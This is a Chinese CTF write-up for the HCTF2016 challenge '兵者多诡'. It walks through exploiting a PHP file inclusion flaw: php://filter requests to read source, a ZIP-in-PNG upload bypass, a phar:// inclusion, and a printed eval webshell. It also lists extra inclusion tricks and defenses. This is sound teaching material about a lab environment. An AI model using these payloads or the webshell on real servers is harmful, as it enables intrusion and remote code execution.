兵者多诡(HCTF2016)
字数 1696 2025-08-10 13:48:27

PHP文件包含漏洞利用教学文档

1. 漏洞背景

本教学基于HCTF2016的"兵者多诡"题目,涉及PHP文件包含漏洞的利用。题目环境可通过GitHub获取:CTFer_Zero_one

2. 漏洞简介

题目在home.php文件中存在一处include函数导致的文件包含漏洞,允许攻击者通过精心构造的输入包含任意文件。

关键特征:

  • 文件包含点会自动添加.php扩展名
  • 上传功能限制只能上传PNG图片
  • 需要结合PHP伪协议进行利用

3. 漏洞利用步骤

3.1 初步探测

首先尝试使用php://filter伪协议读取home.php源代码:

http://127.0.0.1:88/HCTF2016-LFI/home.php?fp=php://filter/read=convert.base64-encode/resource=home&imagekey=20de480b0e91ea1d67712e491fc2a72b66d782de

参数解析

  • fp:文件包含参数
  • php://filter/read=convert.base64-encode/resource=home:使用过滤器读取home文件内容并以base64编码输出
  • imagekey:可能是验证参数,需要与上传文件匹配

3.2 文件上传限制绕过

由于上传功能限制只能上传PNG图片,但我们需要上传PHP webshell,可采用以下方法:

  1. 创建一个包含webshell的PHP文件
  2. 将该文件压缩为ZIP格式
  3. 将ZIP文件重命名为PNG扩展名(如shell.png

3.3 利用phar协议进行文件包含

上传图片马后,使用phar://协议进行文件包含:

http://127.0.0.1:88/HCTF2016-LFI/home.php?fp=phar://uploads/25b58d5902e9bb5b9a8569648a86d4dbe9d6d592.png/shell&imagekey=25b58d5902e9bb5b9a8569648a86d4dbe9d6d592

参数解析

  • phar://uploads/...png/shell:解析PNG文件为PHAR归档并包含其中的shell文件
  • imagekey必须与上传文件的哈希值匹配

4. PHP伪协议详解

4.1 php://filter

用于对数据流进行过滤处理,常用方式:

  • php://filter/read=convert.base64-encode/resource=filename:读取文件并base64编码输出
  • php://filter/convert.iconv.utf-8.utf-16/resource=filename:字符编码转换

4.2 phar://

用于访问PHAR(PHP归档)文件中的内容:

  • phar://archive/path/to/file:访问归档中的特定文件
  • 支持ZIP格式的归档文件

4.3 zip://

类似phar协议,专门用于ZIP归档:

  • zip://archive.zip#path/to/file:访问ZIP中的文件
  • 需要URL编码#为%23

5. 完整攻击流程

  1. 准备webshell:创建包含恶意代码的PHP文件

    <?php @eval($_POST['cmd']); ?>
    
  2. 创建ZIP归档:将webshell压缩为ZIP文件

  3. 重命名文件:将ZIP文件改为PNG扩展名(如shell.png

  4. 上传文件:通过上传功能提交伪装后的PNG文件

  5. 获取文件哈希:通过响应或抓包获取上传文件的哈希值(用作imagekey)

  6. 构造包含URL

    http://target/home.php?fp=phar://uploads/shell.png/webshell&imagekey=文件哈希
    
  7. 连接webshell:使用蚁剑等工具连接获取的webshell

6. 防御措施

  1. 禁用危险函数:禁用includerequire等危险函数或严格限制参数
  2. 白名单验证:对包含的文件路径实施白名单验证
  3. 禁用伪协议:在php.ini中禁用不必要的伪协议
    allow_url_include = Off
    
  4. 文件上传限制
    • 验证文件内容而不仅是扩展名
    • 限制上传目录的脚本执行权限
  5. 日志监控:监控异常的文件包含请求

7. 扩展利用技巧

  1. 日志文件包含:如果包含点不添加扩展名,可尝试包含Apache/Nginx日志
  2. Session文件包含:通过污染Session数据实现代码执行
  3. /proc/self/environ:在某些配置下可包含环境变量
  4. 临时文件竞争:结合文件上传和临时文件包含

8. 总结

本案例展示了如何利用PHP文件包含漏洞结合伪协议绕过上传限制,最终获取服务器权限。关键在于:

  1. 识别自动添加扩展名的行为
  2. 利用压缩文件绕过上传限制
  3. 使用phar/zio协议解析压缩包中的恶意文件
  4. 保持请求参数的一致性(如imagekey)

最终Flaghctf{Th1s_1s_e4sY_1s_n0T_1t?}

PHP文件包含漏洞利用教学文档 1. 漏洞背景 本教学基于HCTF2016的"兵者多诡"题目,涉及PHP文件包含漏洞的利用。题目环境可通过GitHub获取: CTFer_ Zero_ one 2. 漏洞简介 题目在 home.php 文件中存在一处 include 函数导致的文件包含漏洞,允许攻击者通过精心构造的输入包含任意文件。 关键特征: 文件包含点会自动添加 .php 扩展名 上传功能限制只能上传PNG图片 需要结合PHP伪协议进行利用 3. 漏洞利用步骤 3.1 初步探测 首先尝试使用 php://filter 伪协议读取 home.php 源代码: 参数解析 : fp :文件包含参数 php://filter/read=convert.base64-encode/resource=home :使用过滤器读取home文件内容并以base64编码输出 imagekey :可能是验证参数,需要与上传文件匹配 3.2 文件上传限制绕过 由于上传功能限制只能上传PNG图片,但我们需要上传PHP webshell,可采用以下方法: 创建一个包含webshell的PHP文件 将该文件压缩为ZIP格式 将ZIP文件重命名为PNG扩展名(如 shell.png ) 3.3 利用phar协议进行文件包含 上传图片马后,使用 phar:// 协议进行文件包含: 参数解析 : phar://uploads/...png/shell :解析PNG文件为PHAR归档并包含其中的shell文件 imagekey 必须与上传文件的哈希值匹配 4. PHP伪协议详解 4.1 php://filter 用于对数据流进行过滤处理,常用方式: php://filter/read=convert.base64-encode/resource=filename :读取文件并base64编码输出 php://filter/convert.iconv.utf-8.utf-16/resource=filename :字符编码转换 4.2 phar:// 用于访问PHAR(PHP归档)文件中的内容: phar://archive/path/to/file :访问归档中的特定文件 支持ZIP格式的归档文件 4.3 zip:// 类似phar协议,专门用于ZIP归档: zip://archive.zip#path/to/file :访问ZIP中的文件 需要URL编码#为%23 5. 完整攻击流程 准备webshell :创建包含恶意代码的PHP文件 创建ZIP归档 :将webshell压缩为ZIP文件 重命名文件 :将ZIP文件改为PNG扩展名(如 shell.png ) 上传文件 :通过上传功能提交伪装后的PNG文件 获取文件哈希 :通过响应或抓包获取上传文件的哈希值(用作imagekey) 构造包含URL : 连接webshell :使用蚁剑等工具连接获取的webshell 6. 防御措施 禁用危险函数 :禁用 include 、 require 等危险函数或严格限制参数 白名单验证 :对包含的文件路径实施白名单验证 禁用伪协议 :在php.ini中禁用不必要的伪协议 文件上传限制 : 验证文件内容而不仅是扩展名 限制上传目录的脚本执行权限 日志监控 :监控异常的文件包含请求 7. 扩展利用技巧 日志文件包含 :如果包含点不添加扩展名,可尝试包含Apache/Nginx日志 Session文件包含 :通过污染Session数据实现代码执行 /proc/self/environ :在某些配置下可包含环境变量 临时文件竞争 :结合文件上传和临时文件包含 8. 总结 本案例展示了如何利用PHP文件包含漏洞结合伪协议绕过上传限制,最终获取服务器权限。关键在于: 识别自动添加扩展名的行为 利用压缩文件绕过上传限制 使用phar/zio协议解析压缩包中的恶意文件 保持请求参数的一致性(如imagekey) 最终Flag : hctf{Th1s_1s_e4sY_1s_n0T_1t?}